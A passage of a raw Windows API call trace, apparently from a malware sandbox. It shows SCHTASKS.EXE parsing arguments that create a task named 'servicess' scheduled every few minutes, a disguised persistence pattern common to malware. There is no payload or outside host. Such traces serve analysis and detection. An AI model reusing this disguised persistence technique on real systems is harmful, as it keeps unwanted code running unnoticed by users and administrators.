returned 0x3b0000 [0150.354] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3ccbf0 [0150.354] GetProcessHeap () returned 0x3b0000 [0150.354] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x18) returned 0x3cbae0 [0150.354] _memicmp (_Buf1=0x3cbae0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.354] GetProcessHeap () returned 0x3b0000 [0150.354] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x200) returned 0x3cd2d0 [0150.354] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x3cd2d0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0150.354] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0150.354] GetProcessHeap () returned 0x3b0000 [0150.354] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x30) returned 0x3c7aa0 [0150.354] _vsnwprintf (in: _Buffer=0x3cc040, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x29f2e8 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0150.354] GetProcessHeap () returned 0x3b0000 [0150.355] GetProcessHeap () returned 0x3b0000 [0150.355] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc1f0) returned 1 [0150.355] GetProcessHeap () returned 0x3b0000 [0150.355] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cc1f0) returned 0x74e [0150.355] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc1f0 | out: hHeap=0x3b0000) returned 1 [0150.355] SetLastError (dwErrCode=0x0) [0150.355] GetThreadLocale () returned 0x409 [0150.355] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0150.356] lstrlenW (lpString="?") returned 1 [0150.356] GetThreadLocale () returned 0x409 [0150.356] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0150.356] lstrlenW (lpString="create") returned 6 [0150.356] GetThreadLocale () returned 0x409 [0150.356] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0150.356] lstrlenW (lpString="delete") returned 6 [0150.356] GetThreadLocale () returned 0x409 [0150.356] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0150.356] lstrlenW (lpString="query") returned 5 [0150.356] GetThreadLocale () returned 0x409 [0150.356] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0150.356] lstrlenW (lpString="change") returned 6 [0150.356] GetThreadLocale () returned 0x409 [0150.356] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0150.356] lstrlenW (lpString="run") returned 3 [0150.356] GetThreadLocale () returned 0x409 [0150.356] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0150.356] lstrlenW (lpString="end") returned 3 [0150.356] GetThreadLocale () returned 0x409 [0150.356] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0150.356] lstrlenW (lpString="showsid") returned 7 [0150.356] GetThreadLocale () returned 0x409 [0150.356] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0150.356] SetLastError (dwErrCode=0x0) [0150.357] SetLastError (dwErrCode=0x0) [0150.357] lstrlenW (lpString="/create") returned 7 [0150.357] lstrlenW (lpString="-/") returned 2 [0150.357] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0150.357] lstrlenW (lpString="?") returned 1 [0150.357] lstrlenW (lpString="?") returned 1 [0150.357] GetProcessHeap () returned 0x3b0000 [0150.357] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x18) returned 0x3cc1f0 [0150.357] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.357] GetProcessHeap () returned 0x3b0000 [0150.357] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0xa) returned 0x3cc210 [0150.357] lstrlenW (lpString="create") returned 6 [0150.357] GetProcessHeap () returned 0x3b0000 [0150.357] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x18) returned 0x3cc230 [0150.357] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.357] GetProcessHeap () returned 0x3b0000 [0150.357] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x14) returned 0x3cc250 [0150.357] _vsnwprintf (in: _Buffer=0x3cc210, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|?|") returned 3 [0150.357] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|create|") returned 8 [0150.357] lstrlenW (lpString="|?|") returned 3 [0150.357] lstrlenW (lpString="|create|") returned 8 [0150.357] SetLastError (dwErrCode=0x490) [0150.357] lstrlenW (lpString="create") returned 6 [0150.357] lstrlenW (lpString="create") returned 6 [0150.357] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.357] GetProcessHeap () returned 0x3b0000 [0150.357] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc210) returned 1 [0150.357] GetProcessHeap () returned 0x3b0000 [0150.358] RtlReAllocateHeap (Heap=0x3b0000, Flags=0xc, Ptr=0x3cc210, Size=0x14) returned 0x3cc270 [0150.358] lstrlenW (lpString="create") returned 6 [0150.358] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.358] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|create|") returned 8 [0150.358] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|create|") returned 8 [0150.358] lstrlenW (lpString="|create|") returned 8 [0150.358] lstrlenW (lpString="|create|") returned 8 [0150.358] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0150.358] SetLastError (dwErrCode=0x0) [0150.358] SetLastError (dwErrCode=0x0) [0150.358] SetLastError (dwErrCode=0x0) [0150.358] lstrlenW (lpString="/tn") returned 3 [0150.358] lstrlenW (lpString="-/") returned 2 [0150.358] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0150.358] lstrlenW (lpString="?") returned 1 [0150.358] lstrlenW (lpString="?") returned 1 [0150.358] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.358] lstrlenW (lpString="tn") returned 2 [0150.358] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.358] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|?|") returned 3 [0150.358] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|tn|") returned 4 [0150.358] lstrlenW (lpString="|?|") returned 3 [0150.358] lstrlenW (lpString="|tn|") returned 4 [0150.358] SetLastError (dwErrCode=0x490) [0150.358] lstrlenW (lpString="create") returned 6 [0150.358] lstrlenW (lpString="create") returned 6 [0150.359] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.359] lstrlenW (lpString="tn") returned 2 [0150.359] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.359] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|create|") returned 8 [0150.359] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|tn|") returned 4 [0150.359] lstrlenW (lpString="|create|") returned 8 [0150.359] lstrlenW (lpString="|tn|") returned 4 [0150.359] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0150.359] SetLastError (dwErrCode=0x490) [0150.359] lstrlenW (lpString="delete") returned 6 [0150.359] lstrlenW (lpString="delete") returned 6 [0150.359] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.359] lstrlenW (lpString="tn") returned 2 [0150.359] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.359] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|delete|") returned 8 [0150.359] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|tn|") returned 4 [0150.359] lstrlenW (lpString="|delete|") returned 8 [0150.359] lstrlenW (lpString="|tn|") returned 4 [0150.359] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0150.359] SetLastError (dwErrCode=0x490) [0150.359] lstrlenW (lpString="query") returned 5 [0150.359] lstrlenW (lpString="query") returned 5 [0150.359] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.360] lstrlenW (lpString="tn") returned 2 [0150.360] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.360] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x8, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|query|") returned 7 [0150.360] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|tn|") returned 4 [0150.360] lstrlenW (lpString="|query|") returned 7 [0150.360] lstrlenW (lpString="|tn|") returned 4 [0150.360] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0150.360] SetLastError (dwErrCode=0x490) [0150.360] lstrlenW (lpString="change") returned 6 [0150.360] lstrlenW (lpString="change") returned 6 [0150.360] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.360] lstrlenW (lpString="tn") returned 2 [0150.360] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.360] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|change|") returned 8 [0150.360] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|tn|") returned 4 [0150.360] lstrlenW (lpString="|change|") returned 8 [0150.360] lstrlenW (lpString="|tn|") returned 4 [0150.360] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0150.360] SetLastError (dwErrCode=0x490) [0150.360] lstrlenW (lpString="run") returned 3 [0150.360] lstrlenW (lpString="run") returned 3 [0150.360] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.361] lstrlenW (lpString="tn") returned 2 [0150.361] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.361] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|run|") returned 5 [0150.361] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|tn|") returned 4 [0150.361] lstrlenW (lpString="|run|") returned 5 [0150.361] lstrlenW (lpString="|tn|") returned 4 [0150.361] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0150.361] SetLastError (dwErrCode=0x490) [0150.361] lstrlenW (lpString="end") returned 3 [0150.361] lstrlenW (lpString="end") returned 3 [0150.361] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.361] lstrlenW (lpString="tn") returned 2 [0150.361] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.361] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|end|") returned 5 [0150.361] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|tn|") returned 4 [0150.361] lstrlenW (lpString="|end|") returned 5 [0150.361] lstrlenW (lpString="|tn|") returned 4 [0150.361] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0150.362] SetLastError (dwErrCode=0x490) [0150.362] lstrlenW (lpString="showsid") returned 7 [0150.362] lstrlenW (lpString="showsid") returned 7 [0150.362] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.362] GetProcessHeap () returned 0x3b0000 [0150.362] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc270) returned 1 [0150.362] GetProcessHeap () returned 0x3b0000 [0150.362] RtlReAllocateHeap (Heap=0x3b0000, Flags=0xc, Ptr=0x3cc270, Size=0x16) returned 0x3cc270 [0150.362] lstrlenW (lpString="tn") returned 2 [0150.362] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.362] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0xa, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|showsid|") returned 9 [0150.362] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|tn|") returned 4 [0150.362] lstrlenW (lpString="|showsid|") returned 9 [0150.362] lstrlenW (lpString="|tn|") returned 4 [0150.362] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0150.362] SetLastError (dwErrCode=0x490) [0150.362] SetLastError (dwErrCode=0x490) [0150.362] SetLastError (dwErrCode=0x0) [0150.362] lstrlenW (lpString="/tn") returned 3 [0150.362] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0150.362] SetLastError (dwErrCode=0x490) [0150.362] SetLastError (dwErrCode=0x0) [0150.363] lstrlenW (lpString="/tn") returned 3 [0150.363] GetProcessHeap () returned 0x3b0000 [0150.363] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x8) returned 0x3cc210 [0150.363] GetProcessHeap () returned 0x3b0000 [0150.363] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3ccc20 [0150.363] SetLastError (dwErrCode=0x0) [0150.363] SetLastError (dwErrCode=0x0) [0150.363] lstrlenW (lpString="servicess") returned 9 [0150.363] lstrlenW (lpString="-/") returned 2 [0150.363] StrChrIW (lpStart="-/", wMatch=0x73) returned 0x0 [0150.363] SetLastError (dwErrCode=0x490) [0150.363] SetLastError (dwErrCode=0x490) [0150.363] SetLastError (dwErrCode=0x0) [0150.363] lstrlenW (lpString="servicess") returned 9 [0150.363] StrChrIW (lpStart="servicess", wMatch=0x3a) returned 0x0 [0150.363] SetLastError (dwErrCode=0x490) [0150.363] SetLastError (dwErrCode=0x0) [0150.363] lstrlenW (lpString="servicess") returned 9 [0150.363] GetProcessHeap () returned 0x3b0000 [0150.363] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x14) returned 0x3cc2a0 [0150.363] GetProcessHeap () returned 0x3b0000 [0150.363] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3ccc50 [0150.363] SetLastError (dwErrCode=0x0) [0150.363] SetLastError (dwErrCode=0x0) [0150.363] lstrlenW (lpString="/sc") returned 3 [0150.363] lstrlenW (lpString="-/") returned 2 [0150.363] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0150.363] lstrlenW (lpString="?") returned 1 [0150.364] lstrlenW (lpString="?") returned 1 [0150.364] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.364] lstrlenW (lpString="sc") returned 2 [0150.364] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.364] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|?|") returned 3 [0150.364] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|sc|") returned 4 [0150.364] lstrlenW (lpString="|?|") returned 3 [0150.364] lstrlenW (lpString="|sc|") returned 4 [0150.364] SetLastError (dwErrCode=0x490) [0150.364] lstrlenW (lpString="create") returned 6 [0150.364] lstrlenW (lpString="create") returned 6 [0150.364] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.364] lstrlenW (lpString="sc") returned 2 [0150.364] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.364] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|create|") returned 8 [0150.364] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|sc|") returned 4 [0150.364] lstrlenW (lpString="|create|") returned 8 [0150.364] lstrlenW (lpString="|sc|") returned 4 [0150.364] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0150.364] SetLastError (dwErrCode=0x490) [0150.364] lstrlenW (lpString="delete") returned 6 [0150.364] lstrlenW (lpString="delete") returned 6 [0150.364] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.364] lstrlenW (lpString="sc") returned 2 [0150.365] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.365] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|delete|") returned 8 [0150.365] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|sc|") returned 4 [0150.365] lstrlenW (lpString="|delete|") returned 8 [0150.365] lstrlenW (lpString="|sc|") returned 4 [0150.365] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0150.365] SetLastError (dwErrCode=0x490) [0150.365] lstrlenW (lpString="query") returned 5 [0150.365] lstrlenW (lpString="query") returned 5 [0150.365] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.365] lstrlenW (lpString="sc") returned 2 [0150.365] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.365] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x8, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|query|") returned 7 [0150.365] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|sc|") returned 4 [0150.365] lstrlenW (lpString="|query|") returned 7 [0150.365] lstrlenW (lpString="|sc|") returned 4 [0150.365] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0150.365] SetLastError (dwErrCode=0x490) [0150.365] lstrlenW (lpString="change") returned 6 [0150.365] lstrlenW (lpString="change") returned 6 [0150.365] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.365] lstrlenW (lpString="sc") returned 2 [0150.365] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.365] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|change|") returned 8 [0150.365] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|sc|") returned 4 [0150.366] lstrlenW (lpString="|change|") returned 8 [0150.366] lstrlenW (lpString="|sc|") returned 4 [0150.366] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0150.366] SetLastError (dwErrCode=0x490) [0150.366] lstrlenW (lpString="run") returned 3 [0150.366] lstrlenW (lpString="run") returned 3 [0150.366] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.366] lstrlenW (lpString="sc") returned 2 [0150.366] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.366] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|run|") returned 5 [0150.366] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|sc|") returned 4 [0150.366] lstrlenW (lpString="|run|") returned 5 [0150.366] lstrlenW (lpString="|sc|") returned 4 [0150.366] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0150.366] SetLastError (dwErrCode=0x490) [0150.366] lstrlenW (lpString="end") returned 3 [0150.366] lstrlenW (lpString="end") returned 3 [0150.366] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.366] lstrlenW (lpString="sc") returned 2 [0150.366] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.366] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|end|") returned 5 [0150.366] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|sc|") returned 4 [0150.366] lstrlenW (lpString="|end|") returned 5 [0150.366] lstrlenW (lpString="|sc|") returned 4 [0150.366] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0150.366] SetLastError (dwErrCode=0x490) [0150.366] lstrlenW (lpString="showsid") returned 7 [0150.367] lstrlenW (lpString="showsid") returned 7 [0150.367] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.367] lstrlenW (lpString="sc") returned 2 [0150.367] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.367] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0xa, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|showsid|") returned 9 [0150.367] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|sc|") returned 4 [0150.367] lstrlenW (lpString="|showsid|") returned 9 [0150.367] lstrlenW (lpString="|sc|") returned 4 [0150.367] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0150.367] SetLastError (dwErrCode=0x490) [0150.367] SetLastError (dwErrCode=0x490) [0150.367] SetLastError (dwErrCode=0x0) [0150.367] lstrlenW (lpString="/sc") returned 3 [0150.367] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0150.367] SetLastError (dwErrCode=0x490) [0150.367] SetLastError (dwErrCode=0x0) [0150.367] lstrlenW (lpString="/sc") returned 3 [0150.367] GetProcessHeap () returned 0x3b0000 [0150.367] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x8) returned 0x3cc2c0 [0150.367] GetProcessHeap () returned 0x3b0000 [0150.367] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3ccc80 [0150.367] SetLastError (dwErrCode=0x0) [0150.367] SetLastError (dwErrCode=0x0) [0150.367] lstrlenW (lpString="MINUTE") returned 6 [0150.367] lstrlenW (lpString="-/") returned 2 [0150.367] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0150.367] SetLastError (dwErrCode=0x490) [0150.367] SetLastError (dwErrCode=0x490) [0150.367] SetLastError (dwErrCode=0x0) [0150.368] lstrlenW (lpString="MINUTE") returned 6 [0150.368] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0150.368] SetLastError (dwErrCode=0x490) [0150.368] SetLastError (dwErrCode=0x0) [0150.368] lstrlenW (lpString="MINUTE") returned 6 [0150.368] GetProcessHeap () returned 0x3b0000 [0150.368] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0xe) returned 0x3cc2e0 [0150.368] GetProcessHeap () returned 0x3b0000 [0150.368] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3cccb0 [0150.368] SetLastError (dwErrCode=0x0) [0150.368] SetLastError (dwErrCode=0x0) [0150.368] lstrlenW (lpString="/mo") returned 3 [0150.368] lstrlenW (lpString="-/") returned 2 [0150.368] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0150.368] lstrlenW (lpString="?") returned 1 [0150.368] lstrlenW (lpString="?") returned 1 [0150.368] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.368] lstrlenW (lpString="mo") returned 2 [0150.368] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.368] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|?|") returned 3 [0150.368] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|mo|") returned 4 [0150.368] lstrlenW (lpString="|?|") returned 3 [0150.368] lstrlenW (lpString="|mo|") returned 4 [0150.368] SetLastError (dwErrCode=0x490) [0150.368] lstrlenW (lpString="create") returned 6 [0150.368] lstrlenW (lpString="create") returned 6 [0150.369] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.369] lstrlenW (lpString="mo") returned 2 [0150.369] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.369] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|create|") returned 8 [0150.369] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|mo|") returned 4 [0150.369] lstrlenW (lpString="|create|") returned 8 [0150.369] lstrlenW (lpString="|mo|") returned 4 [0150.369] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0150.369] SetLastError (dwErrCode=0x490) [0150.369] lstrlenW (lpString="delete") returned 6 [0150.369] lstrlenW (lpString="delete") returned 6 [0150.369] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.369] lstrlenW (lpString="mo") returned 2 [0150.369] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.369] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|delete|") returned 8 [0150.369] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|mo|") returned 4 [0150.369] lstrlenW (lpString="|delete|") returned 8 [0150.369] lstrlenW (lpString="|mo|") returned 4 [0150.369] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0150.369] SetLastError (dwErrCode=0x490) [0150.369] lstrlenW (lpString="query") returned 5 [0150.369] lstrlenW (lpString="query") returned 5 [0150.369] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.370] lstrlenW (lpString="mo") returned 2 [0150.370] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.370] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x8, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|query|") returned 7 [0150.370] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|mo|") returned 4 [0150.370] lstrlenW (lpString="|query|") returned 7 [0150.370] lstrlenW (lpString="|mo|") returned 4 [0150.370] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0150.370] SetLastError (dwErrCode=0x490) [0150.370] lstrlenW (lpString="change") returned 6 [0150.370] lstrlenW (lpString="change") returned 6 [0150.370] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, 